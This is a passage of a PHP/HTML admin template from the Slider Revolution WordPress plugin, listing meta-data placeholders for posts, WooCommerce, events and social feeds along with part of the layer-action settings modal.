								<div data-val="{{title}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">description</i><?php _e("Post Title", 'revslider');?></div><div class="mdl_right_content">{{title}}</div><div class="mdl_placeholder_content"><?php _e('Title', 'revslider');?></div></div>
								<div data-val="{{excerpt}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">description</i><?php _e("Post Excerpt", 'revslider');?></div><div class="mdl_right_content">{{excerpt}}</div><div class="mdl_placeholder_content"><?php _e('Excerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy.', 'revslider');?></div></div>
								<div data-val="{{alias}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">description</i><?php _e("Post Alias", 'revslider');?></div><div class="mdl_right_content">{{alias}}</div><div class="mdl_placeholder_content"><?php _e('Post Alias', 'revslider');?></div></div>
								<div data-val="{{content}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">description</i><?php _e("Post Content", 'revslider');?></div><div class="mdl_right_content">{{content}}</div><div class="mdl_placeholder_content"><?php _e('Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt.', 'revslider');?></div></div>
								<div data-val="{{content:words:10}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">description</i><?php _e("Post content limit by words", 'revslider');?></div><div class="mdl_right_content">{{content:words:10}}</div><div class="mdl_placeholder_content"><?php _e('Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt.', 'revslider');?></div></div>
								<div data-val="{{content:chars:10}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">description</i><?php _e("Post content limit by chars", 'revslider');?></div><div class="mdl_right_content">{{content:chars:10}}</div><div class="mdl_placeholder_content"><?php _e('Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt.', 'revslider');?></div></div>
							</div>

							<!-- POST DETAILS META DATAS -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">info</i><?php _e('Post Details', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{link}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">info</i><?php _e("The link to the post", 'revslider');?></div><div class="mdl_right_content">{{link}}</div><div class="mdl_placeholder_content"><?php _e('http://yoursite.com/post', 'revslider');?></div></div>
								<div data-val="{{date}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">info</i><?php _e("Date created", 'revslider');?></div><div class="mdl_right_content">{{date}}</div><div class="mdl_placeholder_content"><?php _e('05.03.2018', 'revslider');?></div></div>
								<div data-val="{{date_modified}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">info</i><?php _e("Date modified", 'revslider');?></div><div class="mdl_right_content">{{date_modified}}</div><div class="mdl_placeholder_content"><?php _e('04.03.2018', 'revslider');?></div></div>
								<div data-val="{{author_name}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">info</i><?php _e("Author name", 'revslider');?></div><div class="mdl_right_content">{{author_name}}</div><div class="mdl_placeholder_content"><?php _e('John Doe', 'revslider');?></div></div>
								<div data-val="{{author_avatar:80px}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">info</i><?php _e("Author Avatar URL(size in px)", 'revslider');?></div><div class="mdl_right_content">{{author_avatar:80px}}</div><div class="mdl_placeholder_content"><?php _e('http://yoursite/media/avatar.jpg', 'revslider');?></div></div>
								<div data-val="{{author_website}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">info</i><?php _e("Author Website", 'revslider');?></div><div class="mdl_right_content">{{author_website}}</div><div class="mdl_placeholder_content"><?php _e('http://yoursite/user/page', 'revslider');?></div></div>
								<div data-val="{{author_posts}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">info</i><?php _e("Author Posts Page", 'revslider');?></div><div class="mdl_right_content">{{author_posts}}</div><div class="mdl_placeholder_content"><?php _e('http://yoursite/user/post', 'revslider');?></div></div>
							</div>

							<!-- POST DETAILS II META DATAS -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">category</i><?php _e('Post Categories, Tags and Comments', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{num_comments}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">category</i><?php _e("Number of comments", 'revslider');?></div><div class="mdl_right_content">{{num_comments}}</div><div class="mdl_placeholder_content"><?php _e('20', 'revslider');?></div></div>
								<div data-val="{{catlist}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">category</i><?php _e("List of categories with links", 'revslider');?></div><div class="mdl_right_content">{{catlist}}</div><div class="mdl_placeholder_content"><?php _e('Category1, Category2, Category3', 'revslider');?></div></div>
								<div data-val="{{catlist_raw}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">category</i><?php _e("List of categories without links", 'revslider');?></div><div class="mdl_right_content">{{catlist_raw}}</div><div class="mdl_placeholder_content"><?php _e('Category1, Category2, Category3', 'revslider');?></div></div>
								<div data-val="{{taglist}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">category</i><?php _e("List of tags with links", 'revslider');?></div><div class="mdl_right_content">{{taglist}}</div><div class="mdl_placeholder_content"><?php _e('Tag1, Tag2, Tag3', 'revslider');?></div></div>
							</div>
						</div>

						<div id="mdl_group_wc" class="mdl_group_wrap" data-title="<?php _e('WooCommerce', 'revslider');?>">
							<!-- WOOCOMMERCE -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">shopping_cart</i><?php _e('WooCommerce Basics', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{wc_categories}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">category</i><?php _e("Categories", 'revslider');?></div><div class="mdl_right_content">{{wc_categories}}</div><div class="mdl_placeholder_content"><?php _e('WC Category1, WC Category2', 'revslider');?></div></div>
								<div data-val="{{wc_tags}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">category</i><?php _e("Tags", 'revslider');?></div><div class="mdl_right_content">{{wc_tags}}</div><div class="mdl_placeholder_content"><?php _e('WC Tag 1, WC Tag 2, WC Tag 3', 'revslider');?></div></div>
								<div data-val="{{wc_add_to_cart}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">category</i><?php _e("Add to Cart URL", 'revslider');?></div><div class="mdl_right_content">{{wc_add_to_cart}}</div><div class="mdl_placeholder_content"><?php _e('http://yoursite.com/addtocart.php', 'revslider');?></div></div>
								<div data-val="{{wc_add_to_cart_button}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">category</i><?php _e("Add to Cart Button", 'revslider');?></div><div class="mdl_right_content">{{wc_add_to_cart_button}}</div><div class="mdl_placeholder_content"><?php _e('Add To Cart', 'revslider');?></div></div>
							</div>
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">shopping_cart</i><?php _e('WooCommerce Prices', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{wc_full_price}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">attach_money</i><?php _e("Full Price", 'revslider');?></div><div class="mdl_right_content">{{wc_full_price}}</div><div class="mdl_placeholder_content"><?php _e('$9.99', 'revslider');?></div></div>
								<div data-val="{{wc_price}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">attach_money</i><?php _e("Single Price", 'revslider');?></div><div class="mdl_right_content">{{wc_price}}</div><div class="mdl_placeholder_content"><?php _e('$9.99', 'revslider');?></div></div>
								<div data-val="{{wc_price_no_cur}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">attach_money</i><?php _e("Single Price without currency", 'revslider');?></div><div class="mdl_right_content">{{wc_price_no_cur}}</div><div class="mdl_placeholder_content"><?php _e('9.99', 'revslider');?></div></div>
							</div>
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">shopping_cart</i><?php _e('WooCommerce Stock', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{wc_sku}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">dashboard</i><?php _e("SKU", 'revslider');?></div><div class="mdl_right_content">{{wc_sku}}</div><div class="mdl_placeholder_content"><?php _e('457819', 'revslider');?></div></div>
								<div data-val="{{wc_stock}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">dashboard</i><?php _e("In Stock", 'revslider');?></div><div class="mdl_right_content">{{wc_stock}}</div><div class="mdl_placeholder_content"><?php _e('5', 'revslider');?></div></div>
								<div data-val="{{wc_stock_quantity}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">dashboard</i><?php _e("Stock Quantity", 'revslider');?></div><div class="mdl_right_content">{{wc_stock_quantity}}</div><div class="mdl_placeholder_content"><?php _e('5', 'revslider');?></div></div>
							</div>
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">shopping_cart</i><?php _e('WooCommerce Ratings', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{wc_rating_count}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">star_half</i><?php _e("Number of Ratings", 'revslider');?></div><div class="mdl_right_content">{{wc_rating_count}}</div><div class="mdl_placeholder_content"><?php _e('47', 'revslider');?></div></div>
								<div data-val="{{wc_review_count}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">star_half</i><?php _e("Number of Reviews", 'revslider');?></div><div class="mdl_right_content">{{wc_review_count}}</div><div class="mdl_placeholder_content"><?php _e('13', 'revslider');?></div></div>
								<div data-val="{{wc_rating}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">star_half</i><?php _e("Text Rating", 'revslider');?></div><div class="mdl_right_content">{{wc_rating}}</div><div class="mdl_placeholder_content"><?php _e('9', 'revslider');?></div></div>
								<div data-val="{{wc_star_rating}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">star_half</i><?php _e("Star Rating", 'revslider');?></div><div class="mdl_right_content">{{wc_star_rating}}</div><div class="mdl_placeholder_content"><?php _e('38', 'revslider');?></div></div>
							</div>
						</div>

						<div id="mdl_group_events" class="mdl_group_wrap" data-title="<?php _e('Events', 'revslider');?>">
							<!-- EVENTS -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">event</i><?php _e('Event Basics', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{event_start_date}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">event</i><?php _e("Event start date", 'revslider');?></div><div class="mdl_right_content">{{event_start_date}}</div><div class="mdl_placeholder_content"><?php _e('14.09.2019', 'revslider');?></div></div>
								<div data-val="{{event_end_date}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">event</i><?php _e("Event end date", 'revslider');?></div><div class="mdl_right_content">{{event_end_date}}</div><div class="mdl_placeholder_content"><?php _e('17.09.2019', 'revslider');?></div></div>
								<div data-val="{{event_start_time}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">event</i><?php _e("Event start time", 'revslider');?></div><div class="mdl_right_content">{{event_start_time}}</div><div class="mdl_placeholder_content"><?php _e('21:00', 'revslider');?></div></div>
								<div data-val="{{event_end_time}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">event</i><?php _e("Event end time", 'revslider');?></div><div class="mdl_right_content">{{event_end_time}}</div><div class="mdl_placeholder_content"><?php _e('14:00', 'revslider');?></div></div>
								<div data-val="{{event_id}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">event</i><?php _e("Event ID", 'revslider');?></div><div class="mdl_right_content">{{event_id}}</div><div class="mdl_placeholder_content"><?php _e('EQH-1879', 'revslider');?></div></div>
							</div>
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">my_location</i><?php _e('Event Location', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{event_location_name}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">location_on</i><?php _e("Event location name", 'revslider');?></div><div class="mdl_right_content">{{event_location_name}}</div><div class="mdl_placeholder_content"><?php _e('Music Hall', 'revslider');?></div></div>
								<div data-val="{{event_location_slug}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">location_on</i><?php _e("Event location slug", 'revslider');?></div><div class="mdl_right_content">{{event_location_slug}}</div><div class="mdl_placeholder_content"><?php _e('Concert', 'revslider');?></div></div>
								<div data-val="{{event_location_address}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">location_on</i><?php _e("Event location address", 'revslider');?></div><div class="mdl_right_content">{{event_location_address}}</div><div class="mdl_placeholder_content"><?php _e('East 32th Street between Park & Lexington Avn ', 'revslider');?></div></div>
								<div data-val="{{event_location_town}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">location_on</i><?php _e("Event location town", 'revslider');?></div><div class="mdl_right_content">{{event_location_town}}</div><div class="mdl_placeholder_content"><?php _e('Los Angeles', 'revslider');?></div></div>
								<div data-val="{{event_location_state}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">location_on</i><?php _e("Event location state", 'revslider');?></div><div class="mdl_right_content">{{event_location_state}}</div><div class="mdl_placeholder_content"><?php _e('US', 'revslider');?></div></div>
								<div data-val="{{event_location_postcode}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">location_on</i><?php _e("Event location postcode", 'revslider');?></div><div class="mdl_right_content">{{event_location_postcode}}</div><div class="mdl_placeholder_content"><?php _e('EX 87 TNT', 'revslider');?></div></div>
								<div data-val="{{event_location_region}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">location_on</i><?php _e("Event location region", 'revslider');?></div><div class="mdl_right_content">{{event_location_region}}</div><div class="mdl_placeholder_content"><?php _e('Orange Country', 'revslider');?></div></div>
								<div data-val="{{event_location_country}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">location_on</i><?php _e("Event location country", 'revslider');?></div><div class="mdl_right_content">{{event_location_country}}</div><div class="mdl_placeholder_content"><?php _e('USA', 'revslider');?></div></div>
							</div>
						</div>

						<div id="mdl_group_social" class="mdl_group_wrap" data-title="<?php _e('Social', 'revslider');?>">
							<!-- FLICKR -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">public</i><?php _e('Social Basics (Flickr, Instagram, Twitter, Facebook, YouTube)', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{title}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">public</i><?php _e("Post Title", 'revslider');?></div><div class="mdl_right_content">{{title}}</div><div class="mdl_placeholder_content"><?php _e('Title', 'revslider');?></div></div>
								<div data-val="{{content}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">public</i><?php _e("Post content", 'revslider');?></div><div class="mdl_right_content">{{content}}</div><div class="mdl_placeholder_content"><?php _e('Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt.', 'revslider');?></div></div>
								<div data-val="{{content:words:10}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">public</i><?php _e("Post content limit by words", 'revslider');?>	</div><div class="mdl_right_content">{{content:words:10}}</div><div class="mdl_placeholder_content"><?php _e('Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt.', 'revslider');?></div></div>
								<div data-val="{{content:chars:10}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">public</i><?php _e("Post content limit by chars", 'revslider');?>	</div><div class="mdl_right_content">{{content:chars:10}}</div><div class="mdl_placeholder_content"><?php _e('Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt.', 'revslider');?></div></div>
								<div data-val="{{link}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">public</i><?php _e("The link to the post", 'revslider');?></div><div class="mdl_right_content">{{link}}</div><div class="mdl_placeholder_content"><?php _e('http://yoursite.com/post', 'revslider');?></div></div>
								<div data-val="{{date}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">public</i><?php _e("Date created", 'revslider');?></div><div class="mdl_right_content">{{date}}</div><div class="mdl_placeholder_content"><?php _e('08.03.2018', 'revslider');?></div></div>
								<div data-val="{{author_name}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">public</i><?php _e("Username", 'revslider');?></div><div class="mdl_right_content">{{author_name}}</div><div class="mdl_placeholder_content"><?php _e('John Doe', 'revslider');?></div></div>
							</div>

							<!-- FLICKR -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="fa__icons fa-flickr"></i><?php _e('Flickr Extras', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{date}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-flickr"></i><?php _e("Date created", 'revslider');?></div><div class="mdl_right_content">{{date}}</div><div class="mdl_placeholder_content"><?php _e('08.03.2018', 'revslider');?></div></div>
								<div data-val="{{views}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-flickr"></i><?php _e("Views", 'revslider');?></div><div class="mdl_right_content">{{views}}</div><div class="mdl_placeholder_content"><?php _e('24', 'revslider');?></div></div>
							</div>

							<!-- INSTAGRAM -->
							<!--
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="fa__icons fa-instagram"></i><?php _e('Instagram Extras', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{date}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-instagram"></i><?php _e("Date created", 'revslider');?></div><div class="mdl_right_content">{{date}}</div><div class="mdl_placeholder_content"><?php _e('08.03.2018', 'revslider');?></div></div>
								<div data-val="{{likes}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-instagram"></i><?php _e("Number of Likes", 'revslider');?></div><div class="mdl_right_content">{{likes}}</div><div class="mdl_placeholder_content"><?php _e('12', 'revslider');?></div></div>
								<div data-val="{{num_comments}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-instagram"></i><?php _e("Number of Comments", 'revslider');?></div><div class="mdl_right_content">{{num_comments}}</div><div class="mdl_placeholder_content"><?php _e('19', 'revslider');?></div></div>
							</div>
							-->

							<!-- TWITTER -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="fa__icons fa-twitter"></i><?php _e('Twitter Extras', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{date_published}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-twitter"></i><?php _e("Date Published", 'revslider');?></div><div class="mdl_right_content">{{date_published}}</div><div class="mdl_placeholder_content"><?php _e('08.03.2018', 'revslider');?></div></div>
								<div data-val="{{retweet_count}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-twitter"></i><?php _e("Retweet Count", 'revslider');?></div><div class="mdl_right_content">{{retweet_count}}</div><div class="mdl_placeholder_content"><?php _e('19824', 'revslider');?></div></div>
								<div data-val="{{favorite_count}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-twitter"></i><?php _e("Favorite Count", 'revslider');?></div><div class="mdl_right_content">{{favorite_count}}</div><div class="mdl_placeholder_content"><?php _e('1249', 'revslider');?></div></div>
							</div>

							<!-- FACEBOOK -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="fa__icons fa-facebook"></i><?php _e('Facebook Extras', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{date_published}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-facebook"></i><?php _e("Date Published", 'revslider');?></div><div class="mdl_right_content">{{date_published}}</div><div class="mdl_placeholder_content"><?php _e('08.03.2018', 'revslider');?></div></div>
								<div data-val="{{date_modified}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-facebook"></i><?php _e("Date Modified", 'revslider');?></div><div class="mdl_right_content">{{date_modified}}</div><div class="mdl_placeholder_content"><?php _e('18.08.2018', 'revslider');?></div></div>
								<div data-val="{{likes}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-facebook"></i><?php _e("Number of Likes", 'revslider');?></div><div class="mdl_right_content">{{likes}}</div><div class="mdl_placeholder_content"><?php _e('212', 'revslider');?></div></div>
							</div>

							<!-- YOUTUBE -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="fa__icons fa-youtube-square"></i><?php _e('YouTube Extras', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{excerpt}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-youtube-square"></i><?php _e("Excerpt", 'revslider');?></div><div class="mdl_right_content">{{excerpt}}</div><div class="mdl_placeholder_content"><?php _e('Excerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy.', 'revslider');?></div></div>
								<div data-val="{{date_published}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-youtube-square"></i><?php _e("Date Published", 'revslider');?></div><div class="mdl_right_content">{{date_published}}</div><div class="mdl_placeholder_content"><?php _e('08.03.2018', 'revslider');?></div></div>
							</div>

							<!-- VIMEO -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="fa__icons fa-vimeo-square"></i><?php _e('Vimeo Extras', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{date_published}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-vimeo-square"></i><?php _e("Date Published", 'revslider');?></div><div class="mdl_right_content">{{date_published}}</div><div class="mdl_placeholder_content"><?php _e('08.03.2018', 'revslider');?></div></div>
								<div data-val="{{likes}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-vimeo-square"></i><?php _e("Number of Likes", 'revslider');?></div><div class="mdl_right_content">{{likes}}</div><div class="mdl_placeholder_content"><?php _e('321', 'revslider');?></div></div>
								<div data-val="{{views}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-vimeo-square"></i><?php _e("Number of Views", 'revslider');?></div><div class="mdl_right_content">{{views}}</div><div class="mdl_placeholder_content"><?php _e('1786', 'revslider');?></div></div>
								<div data-val="{{num_comments}}" class="mdl_group_member"><div class="mdl_left_content"><i class="fa__icons fa-vimeo-square"></i><?php _e("Number of Comments", 'revslider');?></div><div class="mdl_right_content">{{num_comments}}</div><div class="mdl_placeholder_content"><?php _e('124', 'revslider');?></div></div>
							</div>
						</div>

					</div>
				</div>
			</div>
		</div>
	</div>
</div>

<!--LAYER ACTION MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_layer_action">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_layer_action" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">touch_app</i><span class="rbm_title"><?php _e('Actions', 'revslider');?></span><i class="rbm_close material-icons">close</i></div>
				<div class="rbm_content">
					<!-- THE LEFT SIDE OF THE AWESOME MODAL WINDOW -->
					<div class="rbm_content_left">

						<div id="layeractions_overview">
							<div id="layeractions_overview_innerwrap">
								<!-- LAYER AND ITS DEPENDENCIES -->
								<div id="layer_with_action_wrap">
									<div id="layer_with_action"></div>
									<div id="layer_width_action_inner_wrap">
										<ul id="layer_depending_wrap" class="layer_depending_wrap"></ul>
										<div id="layer_depending_frames"></div>													
										<label_a style="width:175px"><?php _e('Trigger Memory', 'revslider');?></label_a><select data-r="actions.triggerMemory" class="easyinit layerinput nosearchbox tos2"><option value="reset"><?php _e('Reset before each Loop', 'revslider');?></option><option value="keep"><?php _e('Keep Last State', 'revslider');?></option></select>
									</div>
								</div>
								<!-- ACTIONS TRIGGERED BY THE LAYER -->
								<ul id="selected_layer_actions"></ul>
							</div>
							<div id="addactiontolayer" class="rbm_darkbutton"><i class="material-icons">add_circle_outline</i><?php _e('Add Action to ', 'revslider');?> &quot;<span id="add_action_to_layername"></span>&quot;</span></div>
						</div>

					</div>
					<!-- THE RIGHT SIDE OF THE AWESOME MODAL WINDOW -->
					<div class="rbm_content_right">
						<div id="no_action_selected"><i class="material-icons">info</i><?php _e('No Action Selected', 'revslider');?></div>

						<!-- THE LIST OF THE ACTIONS -->
						<div id="layeraction_list"></div>

						<!-- INPUT FIELD LIST OF THE SELECTED ACTION -->
						<div id="action_inputs">
							<div id="action_interaction_wrap">
								<select style="display:none !important" id="action_interaction" data-unselect=".layer_action_interaction_selector" data-select="#action_interaction*val*" class="easyinit" data-r="actions.action.#actionindex#.tooltip_event"><option value="click"><?php _e('Click', 'revslider');?></option><option value="mouseenter"><?php _e('Mouse Enter', 'revslider');?></option><option value="mouseleave"><?php _e('Mouse Leave', 'revslider');?></option></select>
								<label_a><?php _e('Interaction', 'revslider');?></label_a><select id="action_interaction" class="easyinit actioninput tos2 nosearchbox" data-r="actions.action.#actionindex#.tooltip_event"><option value="click"><?php _e('Click', 'revslider');?></option><option value="mouseenter"><?php _e('Mouse Enter', 'revslider');?></option><option value="mouseleave"><?php _e('Mouse Leave', 'revslider');?></option></select>				
							</div>
							<!--<label_icon class="triggerselect layer_action_interaction_selector twostatetrigger material-icons selected mirrorhorizontal" data-select="#action_interaction" data-val="click" id="action_interaction_click">near_me</label_icon>
							<label_icon class="triggerselect layer_action_interaction_selector twostatetrigger material-icons" data-select="#action_interaction" data-val="mouseenter" id="action_interaction_mouseenter">file_download</label_icon>
							<label_icon class="triggerselect layer_action_interaction_selector twostatetrigger material-icons" data-select="#action_interaction" data-val="mouseleave" id="action_interaction_mouseleave">file_upload</label_icon>-->
							<!-- TYPE OF ACTION -->
							<label_a><?php _e('Action Type', 'revslider');?></label_a><div class="input_presets_wrap" id="layer_action_type"><div id="layer_action_fake"></div><input type="text" readonly  class="easyinit actioninput" data-r="actions.action.#actionindex#.action" value=""><i class="material-icons input_presets_dropdown">more_vert</i></div>
							
							<div class="div20"></div>

							<!-- SIMPLE LINK SETTINGS -->
							<div id="la_settings_link_menu" class="la_settings" style="margin-bottom:20px !important">
								<label_a><?php _e('Link to URL', 'revslider');?></label_a><input type="text" class="easyinit actioninput" id="la_menu_link" data-r="actions.action.#actionindex#.menu_link" placeholder="<?php _e('Enter Link', 'revslider');?>" ><span class="linebreak"></span>
								<label_a><?php _e('Anchor #id at URL', 'revslider');?></label_a><input type="text" class="easyinit actioninput" id="la_menu_link" data-r="actions.action.#actionindex#.menu_anchor" placeholder="<?php _e('Enter Anchor ID', 'revslider');?>" ><span class="linebreak"></span>
							</div>
							
							<!-- SIMPLE LINK SETTINGS -->
							<div id="la_settings_link_url" class="la_settings">
								<label_a><?php _e('Link URL', 'revslider');?></label_a><input type="text" class="easyinit actioninput" id="la_image_link" data-r="actions.action.#actionindex#.image_link" placeholder="<?php _e('Enter Link', 'revslider');?>" ><span class="linebreak"></span>
							</div>
							<div id="la_settings_link" class="la_settings">
								<label_a><?php _e('Protocol', 'revslider');?></label_a><select id="la_link_help_in" data-r="actions.action.#actionindex#.link_help_in" class="easyinit actioninput nosearchbox tos2"><option value="http"><?php _e('http://', 'revslider');?></option><option value="https"><?php _e('https://', 'revslider');?></option><option value="auto"><?php _e('Auto http / https', 'revslider');?></option><option value="keep"><?php _e('Keep as it is', 'revslider');?></option></select>
								<label_a><?php _e('Target', 'revslider');?></label_a><select id="la_link_open_in" data-r="actions.action.#actionindex#.link_open_in" class="easyinit actioninput nosearchbox tos2"><option value="_self"><?php _e('Same Window', 'revslider');?></option><option value="_blank"><?php _e('New Window', 'revslider');?></option></select>
								<label_a><?php _e('Follow', 'revslider');?></label_a><select id="la_link_follow" data-r="actions.action.#actionindex#.link_follow" class="easyinit actioninput nosearchbox tos2"><option value="follow"><?php _e('Follow Link', 'revslider');?></option><option value="nofollow"><?php _e('No Follow', 'revslider');?></option></select>
								<span class="linebreak"></span>
							</div>
							<div id="la_settings_link_type" class="la_settings">
								<label_a><?php _e('Type', 'revslider');?></label_a><select id="la_link_type" data-r="actions.action.#actionindex#.link_type" class="easyinit actioninput nosearchbox tos2"></select>								
								<span class="linebreak"></span>
							</div>

							<div id="la_settings_modal" class="la_settings">
								<label_a><?php _e('Open Modal', 'revslider');?></label_a><select id="la_open_modal" data-r="actions.action.#actionindex#.openmodal" data-evt="refreshSlideLists" class="selectsliderlist easyinit actioninput searchbox tos2"></select>
								<label_a><?php _e('Open Slide', 'revslider');?></label_a><select id="la_open_modalslide" data-r="actions.action.#actionindex#.modalslide" class="selectsliderlist easyinit actioninput searchbox tos2"></select>					
							</div>

							<!-- CALL BACK SETTINGS -->
							<div id="la_settings_callback" class="la_settings">
								<label_a><?php _e('Function', 'revslider');?></label_a><input class="easyinit actioninput" type="text" id="la_actioncallback" data-r="actions.action.#actionindex#.actioncallback" placeholder="<?php _e('javaScript Function', 'revslider');?>" ><span class="linebreak"></span>
								<span class="linebreak"></span>
							</div>

							<!-- SCROLL TO ID -->
							<div id="la_settings_scroll_to" class="la_settings">
								<label_a><?php _e('Scroll to ID', 'revslider');?></label_a><input class="easyinit actioninput" type="text" id="la_scrolltoid" data-r="actions.action.#actionindex#.scrollto_id" placeholder="<?php _e('ID of Element', 'revslider');?>" ><span class="linebreak"></span>					
								<span class="linebreak"></span>
							</div>							

							<!-- SCROLL BELOW SETTINGS -->
							<div id="la_settings_scroll_under" class="la_settings">
